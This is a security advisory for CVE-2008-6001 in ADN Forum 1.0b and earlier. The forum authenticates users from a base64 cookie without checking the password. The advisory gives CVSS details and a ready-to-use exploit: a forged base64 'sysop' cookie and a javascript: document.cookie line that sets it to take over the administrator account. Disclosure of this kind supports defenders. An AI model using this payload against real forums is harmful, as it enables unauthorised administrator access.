ADN Forum <= 1.0b Insecure Cookie Handling Vulnerability

2009.01.31

Credit: Pepelux

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6001

CWE: CWE-264

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

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adnforum <= 1.0b / Insecure Cookie Handling Vulnerability 
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$ Program: adnforum
$ Version: <= 1.0b
$ File affected: index.php
$ Download: http://sourceforge.net/projects/adnforum/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


Cookie is base64 based and the ascii format used is:
user:23ed4e45887ad4311ff654bd4aab6540:user:0
user:md5 pass:user:0

Programmer forgot to check the pass and only use the nick to autenticate
the user.

You can create a fake cookie likes this:
sysop:000000000000000000000000000000:sysop:0

In base64: c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA

Exploit:
javascript:document.cookie = "fpusuario=c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA"

References:

http://www.securityfocus.com/bid/31383

http://www.milw0rm.com/exploits/6557

http://secunia.com/advisories/18300

See this note in RAW Version

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{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

ADN Forum <= 1.0b Insecure Cookie Handling Vulnerability

References:

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